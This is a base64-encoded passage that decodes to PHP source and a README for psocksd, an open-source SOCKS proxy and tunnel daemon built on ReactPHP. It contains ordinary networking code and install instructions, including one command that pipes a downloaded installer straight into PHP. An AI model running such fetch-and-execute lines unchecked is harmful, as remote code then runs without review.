kKICAgICAgICAkYXJncyA9IGV4cGxvZGUoJyAnLCAkbGluZSk7CiAgICAgICAgJGNvbW1hbmQgPSBhcnJheV9zaGlmdCgkYXJncyk7CgogICAgICAgIGlmIChpc3NldCgkdGhpcy0+Y29tbWFuZHNbJGNvbW1hbmRdKSkgewogICAgICAgICAgICAkdGhpcy0+Y29tbWFuZHNbJGNvbW1hbmRdLT5ydW4oJGFyZ3MpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gJ2ludmFsaWQgY29tbWFuZC4gdHlwZSAiaGVscCI/JyAuIFBIUF9FT0w7CiAgICAgICAgfQogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTZXJ2ZXIoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+c2VydmVyOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRSZXNvbHZlcigpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5yZXNvbHZlcjsKICAgIH0KCiAgICAvKioKICAgICAqCiAgICAgKiBAcmV0dXJuIFJlYWN0XEV2ZW50TG9vcFxMb29wSW50ZXJmYWNlCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRMb29wKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxvb3A7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGdldENvbW1hbmRzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmNvbW1hbmRzOwogICAgfQoKICAgIC8qKgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNvbW1hbmQKICAgICAqIEByZXR1cm4gQ29tbWFuZFxDb21tYW5kSW50ZXJmYWNlCiAgICAgKiBAdGhyb3dzIEV4Y2VwdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0Q29tbWFuZCgkY29tbWFuZCkKICAgIHsKICAgICAgICBpZiAoIWlzc2V0KCR0aGlzLT5jb21tYW5kc1skY29tbWFuZF0pKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJ0ludmFsaWQgY29tbWFuZCBnaXZlbicpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHRoaXMtPmNvbW1hbmRzWyRjb21tYW5kXTsKICAgIH0KCiAgICAvKioKICAgICAqIEByZXR1cm4gXENvbm5lY3Rpb25NYW5hZ2VyXEV4dHJhXE11bHRpcGxlXENvbm5lY3Rpb25NYW5hZ2VyU2VsZWN0aXZlCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDb25uZWN0aW9uTWFuYWdlcigpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT52aWE7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZUNvbm5lY3Rpb25NYW5hZ2VyKCRzb2NrZXQpCiAgICB7CiAgICAgICAgaWYgKCRzb2NrZXQgPT09ICdyZWplY3QnKSB7CiAgICAgICAgICAgIGVjaG8gJ3JlamVjdCcgLiBQSFBfRU9MOwogICAgICAgICAgICByZXR1cm4gbmV3IENvbm5lY3Rpb25NYW5hZ2VyTGFiZWxlZChuZXcgQ29ubmVjdGlvbk1hbmFnZXJSZWplY3QoKSwgJy1yZWplY3QtJyk7CiAgICAgICAgfQogICAgICAgICRkaXJlY3QgPSBuZXcgQ29ubmVjdG9yKCR0aGlzLT5sb29wLCAkdGhpcy0+cmVzb2x2ZXIpOwogICAgICAgIGlmICgkc29ja2V0ID09PSAnbm9uZScpIHsKICAgICAgICAgICAgJHZpYSA9IG5ldyBDb25uZWN0aW9uTWFuYWdlckxhYmVsZWQoJGRpcmVjdCwgJy1kaXJlY3QtJyk7CgogICAgICAgICAgICBlY2hvICd1c2UgZGlyZWN0IGNvbm5lY3Rpb24gdG8gdGFyZ2V0JyAuIFBIUF9FT0w7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHBhcnNlZCA9ICR0aGlzLT5wYXJzZVNvY2tzU29ja2V0KCRzb2NrZXQpOwoKICAgICAgICAgICAgLy8gVE9ETzogcmVtb3ZlIGhhY2sKICAgICAgICAgICAgLy8gcmVzb2x2ZXIgY2FuIG5vdCByZXNvbHZlICdsb2NhbGhvc3QnIEFUTQogICAgICAgICAgICBpZiAoJHBhcnNlZFsnaG9zdCddID09PSAnbG9jYWxob3N0JykgewogICAgICAgICAgICAgICAgJHBhcnNlZFsnaG9zdCddID0gJzEyNy4wLjAuMSc7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICR2aWEgPSBuZXcgQ2xpZW50KCR0aGlzLT5sb29wLCAkcGFyc2VkWydob3N0J10sICRwYXJzZWRbJ3BvcnQnXSwgJGRpcmVjdCwgJHRoaXMtPnJlc29sdmVyKTsKICAgICAgICAgICAgaWYgKGlzc2V0KCRwYXJzZWRbJ3Byb3RvY29sVmVyc2lvbiddKSkgewogICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAkdmlhLT5zZXRQcm90b2NvbFZlcnNpb24oJHBhcnNlZFsncHJvdG9jb2xWZXJzaW9uJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJ2ludmFsaWQgcHJvdG9jb2wgdmVyc2lvbjogJyAuICRlLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChpc3NldCgkcGFyc2VkWyd1c2VyJ10pIHx8IGlzc2V0KCRwYXJzZWRbJ3Bhc3MnXSkpIHsKICAgICAgICAgICAgICAgICRwYXJzZWQgKz0gYXJyYXkoJ3VzZXInID0+JycsICdwYXNzJyA9PiAnJyk7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICR2aWEtPnNldEF1dGgoJHBhcnNlZFsndXNlciddLCAkcGFyc2VkWydwYXNzJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJ2ludmFsaWQgYXV0aGVudGljYXRpb24gaW5mbzogJyAuICRlLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICd1c2UgJy4kdGhpcy0+cmV2ZXJzZVNvY2tzU29ja2V0KCRwYXJzZWQpIC4gJyBhcyBuZXh0IGhvcCc7CgogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJHZpYS0+c2V0UmVzb2x2ZUxvY2FsKGZhbHNlKTsKICAgICAgICAgICAgICAgIGVjaG8gJyAocmVzb2x2ZSByZW1vdGVseSknOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChVbmV4cGVjdGVkVmFsdWVFeGNlcHRpb24gJGlnbm9yZSkgewogICAgICAgICAgICAgICAgLy8gaWdub3JlIGluIGNhc2UgaXQncyBub3QgYWxsb3dlZCAoU09DS1M0IGNsaWVudCkKICAgICAgICAgICAgICAgIGVjaG8gJyAocmVzb2x2ZSBsb2NhbGx5KSc7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICR2aWEgPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJMYWJlbGVkKCR2aWEtPmNyZWF0ZUNvbm5lY3RvcigpLCAkdGhpcy0+cmV2ZXJzZVNvY2tzU29ja2V0KCRwYXJzZWQpKTsKCiAgICAgICAgICAgIGVjaG8gUEhQX0VPTDsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR2aWE7CiAgICB9CgogICAgLy8gJHNvY2tldCA9IDkwNTA7CiAgICAvLyAkc29ja2V0ID0gJ3NvY2tzOi8vbWVAbG9jYWxob3N0OjkwNTAnOwogICAgLy8gJHNvY2tldCA9ICdsb2NhbGhvc3Q6OTA1MCc7CiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VTb2Nrc1NvY2tldCgkc29ja2V0KQogICAgewogICAgICAgIC8vIHdvcmthcm91bmQgcGFyc2luZyBwbGFpbiBwb3J0IG51bWJlcnMKICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15cZCskLycsICRzb2NrZXQpKSB7CiAgICAgICAgICAgICRwYXJ0cyA9IGFycmF5KCdwb3J0JyA9PiAoaW50KSRzb2NrZXQpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vIHdvcmthcm91bmQgZm9yIGluY29ycmVjdCBwYXJzaW5nIHdoZW4gc2NoZW1lIGlzIG1pc3NpbmcKICAgICAgICAgICAgJHBhcnRzID0gcGFyc2VfdXJsKChzdHJwb3MoJHNvY2tldCwgJzovLycpID09PSBmYWxzZSA/ICdzb2NrczovLycgOiAnJykgLiAkc29ja2V0KTsKICAgICAgICAgICAgaWYgKCEkcGFydHMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24oJ0ludmFsaWQvdW5wYXJzYWJsZSBzb2NrZXQgZ2l2ZW4nKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJHBhcnRzWydwYXRoJ10pIHx8IGlzc2V0KCRwYXJ0c1sncXVlcnknXSkgfHwgaXNzZXQoJHBhcnRzWydmcmFtZW50J10pKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24oJ0ludmFsaWQgc29ja2V0IGdpdmVuJyk7CiAgICAgICAgfQoKICAgICAgICAkcGFydHMgKz0gYXJyYXkoJ3NjaGVtZScgPT4gJ3NvY2tzJywgJ2hvc3QnID0+ICdsb2NhbGhvc3QnLCAncG9ydCcgPT4gOTA1MCk7CgogICAgICAgIGlmIChwcmVnX21hdGNoKCcvXnNvY2tzKFxkXHc/KT8kLycsICRwYXJ0c1snc2NoZW1lJ10sICRtYXRjaCkpIHsKICAgICAgICAgICAgaWYgKGlzc2V0KCRtYXRjaFsxXSkpIHsKICAgICAgICAgICAgICAgICRwYXJ0c1sncHJvdG9jb2xWZXJzaW9uJ10gPSAkbWF0Y2hbMV07CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB0aHJvdyBuZXcgSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uKCdJbnZhbGlkIHNvY2tldCBzY2hlbWUgZ2l2ZW4nKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAkcGFydHM7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJldmVyc2VTb2Nrc1NvY2tldCgkcGFydHMpCiAgICB7CiAgICAgICAgJHJldCA9ICRwYXJ0c1snc2NoZW1lJ10gLiAnOi8vJzsKICAgICAgICBpZiAoaXNzZXQoJHBhcnRzWyd1c2VyJ10pIHx8IGlzc2V0KCRwYXJ0c1sncGFzcyddKSkgewogICAgICAgICAgICAkcGFydHMgKz0gYXJyYXkoJ3VzZXInID0+ICcnLCAncGFzcycgPT4gJycpOwogICAgICAgICAgICAkcmV0IC49ICRwYXJ0c1sndXNlciddIC4gJzonIC4gJHBhcnRzWydwYXNzJ10gLiAnQCc7CiAgICAgICAgfQogICAgICAgICRyZXQgLj0gJHBhcnRzWydob3N0J10gLiAnOicgLiAkcGFydHNbJ3BvcnQnXTsKICAgICAgICByZXR1cm4gJHJldDsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIENsdWVcUHNvY2tzZFxPcHRpb247CgpjbGFzcyBNZWFzdXJlVHJhZmZpYwp7CiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHNlcnZlcikKICAgIHsKICAgICAgICAkc2VydmVyLT5vbignY29ubmVjdGlvbicsIGZ1bmN0aW9uKFxSZWFjdFxTb2NrZXRcQ29ubmVjdGlvbiAkY2xpZW50KSB7CiAgICAgICAgICAgICRjbGllbnQtPm9uKCdyZWFkeScsIGZ1bmN0aW9uKFxSZWFjdFxTdHJlYW1cU3RyZWFtICRyZW1vdGUpIHVzZSgkY2xpZW50KSB7CiAgICAgICAgICAgICAgICAkdXAgPSAkZG93biA9IDA7CgogICAgICAgICAgICAgICAgJGNsaWVudC0+b24oJ2RhdGEnLCBmdW5jdGlvbigkZGF0YSkgdXNlICgmJHVwKSB7CiAgICAgICAgICAgICAgICAgICAgJHVwICs9IHN0cmxlbigkZGF0YSk7CiAgICAgICAgICAgICAgICB9KTsKCiAgICAgICAgICAgICAgICAkcmVtb3RlLT5vbignZGF0YScsIGZ1bmN0aW9uKCRkYXRhKSB1c2UgKCYkZG93bikgewogICAgICAgICAgICAgICAgICAgICRkb3duICs9IHN0cmxlbigkZGF0YSk7CiAgICAgICAgICAgICAgICB9KTsKCiAgICAgICAgICAgICAgICAkY2xpZW50LT5vbignZHVtcC1jbG9zZScsIGZ1bmN0aW9uICgmJGR1bXApIHVzZSAoJiR1cCwgJiRkb3duKSB7CiAgICAgICAgICAgICAgICAgICAgJGR1bXAgLj0gJyAodHJhZmZpYzogJyAuICRkb3duIC4gJ0LipJMvJyAuICR1cCAuICdC4oalKSc7CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBDbHVlXFBzb2Nrc2RcT3B0aW9uOwoKY2xhc3MgTWVhc3VyZVRpbWUKewogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRzZXJ2ZXIpCiAgICB7CiAgICAgICAgJHNlcnZlci0+b24oJ2Nvbm5lY3Rpb24nLCBmdW5jdGlvbihcUmVhY3RcU29ja2V0XENvbm5lY3Rpb24gJGNsaWVudCkgewogICAgICAgICAgICAkc3RhcnQgPSBtaWNyb3RpbWUodHJ1ZSk7CgogICAgICAgICAgICAkY2xpZW50LT5vbignZHVtcC1jbG9zZScsIGZ1bmN0aW9uICgmJGR1bXApIHVzZSAoJHN0YXJ0KSB7CiAgICAgICAgICAgICAgICAkc3RvcCA9IG1pY3JvdGltZSh0cnVlKTsKICAgICAgICAgICAgICAgICRkdW1wIC49ICcgKOKMmiAnIC4gcm91bmQoJHN0b3AgLSAkc3RhcnQsMykuJ3MpJzsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBDbHVlXFBzb2Nrc2RcT3B0aW9uOwoKY2xhc3MgTG9nCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkc2VydmVyKQogICAgewogICAgICAgICRzZXJ2ZXItPm9uKCdjb25uZWN0aW9uJywgZnVuY3Rpb24oXFJlYWN0XFNvY2tldFxDb25uZWN0aW9uICRjbGllbnQpIHsKICAgICAgICAgICAgJG5hbWUgPSAnIycuKGludCkkY2xpZW50LT5zdHJlYW07CiAgICAgICAgICAgICRsb2cgPSBmdW5jdGlvbigkbXNnKSB1c2UgKCRjbGllbnQsICYkbmFtZSkgewogICAgICAgICAgICAgICAgZWNobyBkYXRlKCdZLW0tZCBIOmk6cycpIC4gJyAnIC4gJG5hbWUgLiAnICcgLiAkbXNnIC4gUEhQX0VPTDsKICAgICAgICAgICAgfTsKCiAgICAgICAgICAgICRsb2coJ2Nvbm5lY3RlZCcpOwoKICAgICAgICAgICAgJGNsaWVudC0+b24oJ2Vycm9yJywgZnVuY3Rpb24oJGVycm9yKSB1c2UgKCRsb2cpIHsKICAgICAgICAgICAgICAgICRtc2cgPSAkZXJyb3ItPmdldE1lc3NhZ2UoKTsKICAgICAgICAgICAgICAgIHdoaWxlICgkZXJyb3ItPmdldFByZXZpb3VzKCkgIT09IG51bGwpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSAkZXJyb3ItPmdldFByZXZpb3VzKCk7CiAgICAgICAgICAgICAgICAgICAgJG1zZyAuPSAnIC0gJyAuICRlcnJvci0+Z2V0TWVzc2FnZSgpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRsb2coJ2Vycm9yOiAnIC4gJG1zZyk7CiAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgJGNsaWVudC0+b24oJ3RhcmdldCcsIGZ1bmN0aW9uICgkaG9zdCwgJHBvcnQpIHVzZSAoJGxvZykgewogICAgICAgICAgICAgICAgJGxvZygndHVubmVsIHRhcmdldDogJyAuICRob3N0IC4gJzonIC4gJHBvcnQpOwogICAgICAgICAgICB9KTsKCiAgICAgICAgICAgICRjbGllbnQtPm9uKCdhdXRoJywgZnVuY3Rpb24oJHVzZXJuYW1lKSB1c2UgKCRsb2csICYkbmFtZSkgewogICAgICAgICAgICAgICAgJG5hbWUgLj0gJygnIC4gJHVzZXJuYW1lIC4gJyknOwogICAgICAgICAgICAgICAgJGxvZygnY2xpZW50IGF1dGhlbnRpY2F0ZWQnKTsKICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAkY2xpZW50LT5vbigncmVhZHknLCBmdW5jdGlvbihcUmVhY3RcU3RyZWFtXFN0cmVhbSAkcmVtb3RlKSB1c2UoJGxvZykgewogICAgICAgICAgICAgICAgJGxvZygndHVubmVsIHRvIHJlbW90ZSBzdHJlYW0gIycgLiAoaW50KSRyZW1vdGUtPnN0cmVhbSAuICcgc3VjY2Vzc2Z1bGx5IGVzdGFibGlzaGVkJyk7CiAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgJGNsaWVudC0+b24oJ2Nsb3NlJywgZnVuY3Rpb24gKCkgdXNlICgkbG9nLCAmJGNsaWVudCkgewogICAgICAgICAgICAgICAgJGR1bXAgPSAnJzsKICAgICAgICAgICAgICAgICRjbGllbnQtPmVtaXQoJ2R1bXAtY2xvc2UnLCBhcnJheSgmJGR1bXApKTsKCiAgICAgICAgICAgICAgICAkbG9nKCdkaXNjb25uZWN0ZWQnIC4gJGR1bXApOwogICAgICAgICAgICB9KTsKICAgICAgICB9KTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIENsdWVcUHNvY2tzZDsKCnVzZSBSZWFjdFxTb2NrZXRDbGllbnRcQ29ubmVjdG9ySW50ZXJmYWNlOwoKY2xhc3MgQ29ubmVjdGlvbk1hbmFnZXJMYWJlbGVkIGltcGxlbWVudHMgQ29ubmVjdG9ySW50ZXJmYWNlCnsKICAgIHByaXZhdGUgJGNvbm5lY3Rpb25NYW5hZ2VyOwogICAgcHJpdmF0ZSAkbGFiZWw7CgogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KENvbm5lY3RvckludGVyZmFjZSAkY29ubmVjdGlvbk1hbmFnZXIsICRsYWJlbCkKICAgIHsKICAgICAgICAkdGhpcy0+Y29ubmVjdGlvbk1hbmFnZXIgPSAkY29ubmVjdGlvbk1hbmFnZXI7CiAgICAgICAgJHRoaXMtPmxhYmVsID0gJGxhYmVsOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGhvc3QsICRwb3J0KQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+Y29ubmVjdGlvbk1hbmFnZXItPmNyZWF0ZSgkaG9zdCwgJHBvcnQpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX3RvU3RyaW5nKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhYmVsOwogICAgfQp9CnBzb2Nrc2QKPT09PT09PQoKRXh0ZW5zaWJsZSBTT0NLUyB0dW5uZWwgLyBwcm94eSBzZXJ2ZXIgZGFlbW9uIHdyaXR0ZW4gaW4gUEhQCgojIyBGZWF0dXJlcwoKVGhlIFNPQ0tTIHByb3RvY29sIGZhbWlseSBjYW4gYmUgdXNlZCB0byBlYXNpbHkgdHVubmVsIFRDUCBjb25uZWN0aW9ucyBpbmRlcGVuZGVudApvZiB0aGUgYWN0dWFsIGFwcGxpY2F0aW9uIGxldmVsIHByb3RvY29sLCBzdWNoIGFzIEhUVFAsIFNNVFAsIElNQVAsIFRlbG5ldCwgZXRjLgpJbiB0aGlzIG1vZGUsIGEgU09DS1Mgc2VydmVyIGFjdHMgYXMgYSBnZW5lcmljIHByb3h5IGFsbG93aW5nIGhpZ2hlciBsZXZlbCBhcHBsaWNhdGlvbiBwcm90b2NvbHMgdG8gd29yayB0aHJvdWdoIGl0LgoKKiAgIFNPQ0tTIHByb3h5IHNlcnZlciB3aXRoIHN1cHBvcnQgZm9yIFNPQ0tTNCwgU09DS1M0YSBhbmQgU09DS1M1IHByb3RvY29sIHZlcnNpb25zIChhbGwgYXQgdGhlIHNhbWUgdGltZSkKKiAgIE9wdGlvbmFsbHkgcmVxdWlyZSB1c2VybmFtZSAvIHBhc3N3b3JkIGF1dGhlbnRpY2F0aW9uIChTT0NLUzUgb25seSkKKiAgIFplcm8gY29uZmlndXJhdGlvbiwgZWFzeSB0byB1c2UgY29tbWFuZCBsaW5lIGludGVyZmFjZSAoQ0xJKSB0byBjaGFuZ2Ugc2V0dGluZ3Mgd2l0aG91dCByZXN0YXJ0aW5nIHNlcnZlcgoqICAgSW5jb21pbmcgU09DS1MgcmVxdWVzdHMgY2FuIGJlIGZvcndhcmRlZCB0byBhbm90aGVyIFNPQ0tTIHNlcnZlciB0byBhY3QgYXMgYSB0dW5uZWwgZ2F0ZXdheSwKcGVyZm9ybSB0cmFuc3BhcmVudCBwcm90b2NvbCB0cmFuc2xhdGlvbiBvciBhZGQgU09DS1MgYXV0aGVudGljYXRpb24gZm9yIGNsaWVudHMgbm90IGNhcGFibGUgb2YgZG9pbmcgaXQgdGhlbXNlbHZlcy4KICAgICogICBUdW5uZWwgZW5kcG9pbnQgY2FuIGJlIGNoYW5nZWQgZHVyaW5nIHJ1bnRpbWUgKGB2aWFgIENMSSBjb21tYW5kKS4KICAgICogICBQYXJ0aWN1bGFybHkgdXNlZnVsIHdoZW4gdXNlZCBhcyBhbiBpbnRlcm1lZGlhcnkgc2VydmVyIGFuZCB1c2luZyBldmVyLWNoYW5naW5nIHB1YmxpYyBTT0NLUyB0dW5uZWwgZW5kIHBvaW50cy4KKiAgIFVzaW5nIGFuIGFzeW5jIGV2ZW50LWxvb3AsIGl0IGlzIGNhcGFibGUgb2YgaGFuZGxpbmcgbXVsdGlwbGUgY29uY3VycmVudCBjb25uZWN0aW9ucyBpbiBhIG5vbi1ibG9ja2luZyBmYXNoaW9uCiogICBCdWlsdCB1cG9uIHRoZSBzaG91bGRlcnMgb2YgW3JlYWN0cGhwL3JlYWN0XShodHRwczovL2dpdGh1Yi5jb20vcmVhY3RwaHAvcmVhY3QpIGFuZApbY2x1ZS9zb2Nrc10oaHR0cHM6Ly9naXRodWIuY29tL2NsdWUvc29ja3MpLCBpdCB1c2VzIHdlbGwtdGVzdGVkIGRlcGVuZGVuY2llcyBpbnN0ZWFkIG9mIHJlaW52ZW50aW5nIHRoZSB3aGVlbC4KCiMjIFVzYWdlCgpPbmNlIFtpbnN0YWxsZWRdKCNpbnN0YWxsKSwgeW91IGNhbiBzdGFydCBgcHNvY2tzZGAgYW5kIGxpc3RlbiBmb3IgaW5jb21pbmcgU09DS1MgY29ubmVjdGlvbnMgYnkgcnVubmluZzoKCmBgYGJhc2gKJCBwaHAgcHNvY2tzZC5waGFyCmBgYAoKVXNpbmcgdGhpcyBjb21tYW5kLCBgcHNvY2tzZGAgd2lsbCBzdGFydCBsaXN0ZW5pbmcgb24gdGhlIGRlZmF1bHQgYWRyZXNzIGBsb2NhbGhvc3Q6OTA1MGAuCgojIyMgTGlzdGVuIGFkZHJlc3MKCklmIHlvdSB3YW50IHRvIGxpc3RlbiBvbiBhbm90aGVyIGFkZHJlc3MsIHlvdSBjYW4gc3VwcGx5IGFuIGV4cGxpY2l0Cmxpc3RlbiBhZGRyZXNzIGxpa2UgdGhpczoKCmBgYGJhc2gKIyBzdGFydCBTT0NLUyBkYWVtb24gb24gcG9ydCA5MDUxIGluc3RlYWQKJCBwaHAgcHNvY2tzZC5waGFyIDkwNTEKCiMgZXhwbGljaXRseSBsaXN0ZW4gb24gdGhlIGdpdmVuIGludGVyZmFjZQokIHBocCBwc29ja3NkLnBoYXIgMTkyLjE2OC4xLjI6OTA1MAoKIyBsaXN0ZW4gb24gYWxsIGludGVyZmFjZXMgKGFsbG93IGFjY2VzcyB0byBTT0NLUyBzZXJ2ZXIgZnJvbSB0aGUgb3V0c2lkZSkKJCBwaHAgcHNvY2tzZC5waGFyICo6OTA1MAoKIyBleHBsaWNpdGx5IG9ubHkgc3VwcG9ydCBTT0NLUzUgYW5kIHJlamVjdCBvdGhlciBwcm90b2NvbCB2ZXJzaW9ucwokIHBocCBwc29ja3NkLnBoYXIgc29ja3M1Oi8vbG9jYWxob3N0OjkwNTAKCiMgcmVxdWlyZSBjbGllbnQgdG8gc2VuZCB0aGUgZ2l2ZW4gYXV0aGVudGljYXRpb24gaW5mb3JtYXRpb24KJCBwaHAgcHNvY2tzZC5waGFyIHNvY2tzNTovL3VzZXJuYW1lOnBhc3N3b3JkQGxvY2FsaG9zdDo5MDUxCmBgYAoKIyMjIENsaWVudCBjb25maWd1cmF0aW9uCgpPbmNlIGBwc29ja3NkYCBpcyBzdGFydGVkLCBpdCBhY2NlcHRzIGluY29taW5nIFNPQ0tTIGNsaWVudCBjb25uZWN0aW9ucy4KVGhlcmVmb3IsIHlvdSBoYXZlIHRvIGNvbmZpZ3VyZSB5b3VyIGNsaWVudCBwcm9ncmFtICh3ZWJicm93c2VyLCBlbWFpbCBjbGllbnQgZXRjLikgdG8gYWN0dWFsbHkgdXNlIHRoZSBTT0NLUyBzZXJ2ZXIuCgpUaGUgZXhhY3QgY29uZmlndXJhdGlvbiBkZXBlbmRzIG9uIHlvdXIgcHJvZ3JhbSwgYnV0IHF1aXRlIGEgZmV3IHByb2dyYW1zIGFsbG93IHlvdSB0byB1c2UgYSBTT0NLUyBwcm94eS4KU28gZGVwZW5kaW5nIG9uIHRoZSBhYm92ZSBsaXN0IGFkZHJlc3MsIHN1cHBseSB0aGUgZm9sbG93aW5nIGluZm9ybWF0aW9uOgoKYGBgClByb3h5LVR5cGU6IFNPQ0tTNCBvciBTT0NLUzUKU29ja3MtSG9zdDogbG9jYWxob3N0ClNvY2tzLVBvcnQ6IDkwNTAKYGBgCgojIyBJbnN0YWxsCgpZb3UgY2FuIGdyYWIgYSBjb3B5IG9mIGNsdWUvcHNvY2tzZCBpbiBlaXRoZXIgb2YgdGhlIGZvbGxvd2luZyB3YXlzLgoKIyMjIEFzIGEgcGhhciAocmVjb21tZW5kZWQpCgpZb3UgY2FuIHNpbXBseSBkb3dubG9hZCBhIHByZS1jb21waWxlZCBhbmQgcmVhZHktdG8tdXNlIHZlcnNpb24gYXMgYSBQaGFyCnRvIGFueSBkaXJlY3Rvcnk6CgpgYGBiYXNoCiQgd2dldCBodHRwOi8vd3d3Lmx1ZWNrLnR2L3Bzb2Nrc2QvcHNvY2tzZC5waGFyCmBgYAoKPiBJZiB5b3UgcHJlZmVyIGEgZ2xvYmFsIChzeXN0ZW0td2lkZSkgaW5zdGFsbGF0aW9uIHdpdGhvdXQgaGF2aW5nIHRvIHR5cGUgdGhlIGAucGhhcmAgZXh0ZW5zaW9uCmVhY2ggdGltZSwgeW91IG1heSBpbnZva2U6Cj4gCj4gYGBgYmFzaAo+ICQgY2htb2QgMDc1NSBwc29ja3NkLnBoYXIKPiAkIHN1ZG8gbXYgcHNvY2tzZC5waGFyIC91c3IvbG9jYWwvYmluL3Bzb2Nrc2QKPiBgYGAKPgo+IFlvdSBjYW4gdmVyaWZ5IGV2ZXJ5dGhpbmcgd29ya3MgYnkgcnVubmluZzoKPiAKPiBgYGBiYXNoCj4gJCBwc29ja3NkCj4gYGBgCgojIyMjIFVwZGF0aW5nIHBoYXIKClRoZXJlJ3Mgbm8gc2VwYXJhdGUgYHVwZGF0ZWAgcHJvY2VkdXJlLCBzaW1wbHkgb3ZlcndyaXRlIHRoZSBleGlzdGluZyBwaGFyIHdpdGggdGhlIG5ldyB2ZXJzaW9uIGRvd25sb2FkZWQuCgojIyMgTWFudWFsIEluc3RhbGxhdGlvbiBmcm9tIFNvdXJjZQoKVGhlIG1hbnVhbCB3YXkgdG8gaW5zdGFsbCBgcHNvY2tzZGAgaXMgdG8gY2xvbmUgKG9yIGRvd25sb2FkKSB0aGlzIHJlcG9zaXRvcnkKYW5kIHVzZSBbY29tcG9zZXJdKGh0dHA6Ly9nZXRjb21wb3Nlci5vcmcpIHRvIGRvd25sb2FkIGl0cyBkZXBlbmRlbmNpZXMuCk9idmlvdXNseSwgZm9yIHRoaXMgdG8gd29yaywgeW91J2xsIG5lZWQgUEhQLCBnaXQgYW5kIGN1cmwgaW5zdGFsbGVkOgoKYGBgYmFzaAokIHN1ZG8gYXB0LWdldCBpbnN0YWxsIHBocDUtY2xpIGdpdCBjdXJsCiQgZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS9jbHVlL3Bzb2Nrc2QuZ2l0CiQgY3VybCAtcyBodHRwczovL2dldGNvbXBvc2VyLm9yZy9pbnN0YWxsZXIgfCBwaHAKJCBwaHAgY29tcG9zZXIucGhhciBpbnN0YWxsCmBgYAoKPiBJZiB5b3Ugd2FudCB0byBidWlsZCB0aGUgYWJvdmUgbWVudGlvbmVkIGBwc29ja3NkLnBoYXJgIHlvdXJzZWxmLCB5b3UgaGF2ZQp0byBpbnN0YWxsIFtjbHVlL3BoYXItY29tcG9zZXJdKGh0dHBzOi8vZ2l0aHViLmNvbS9jbHVlL3Bo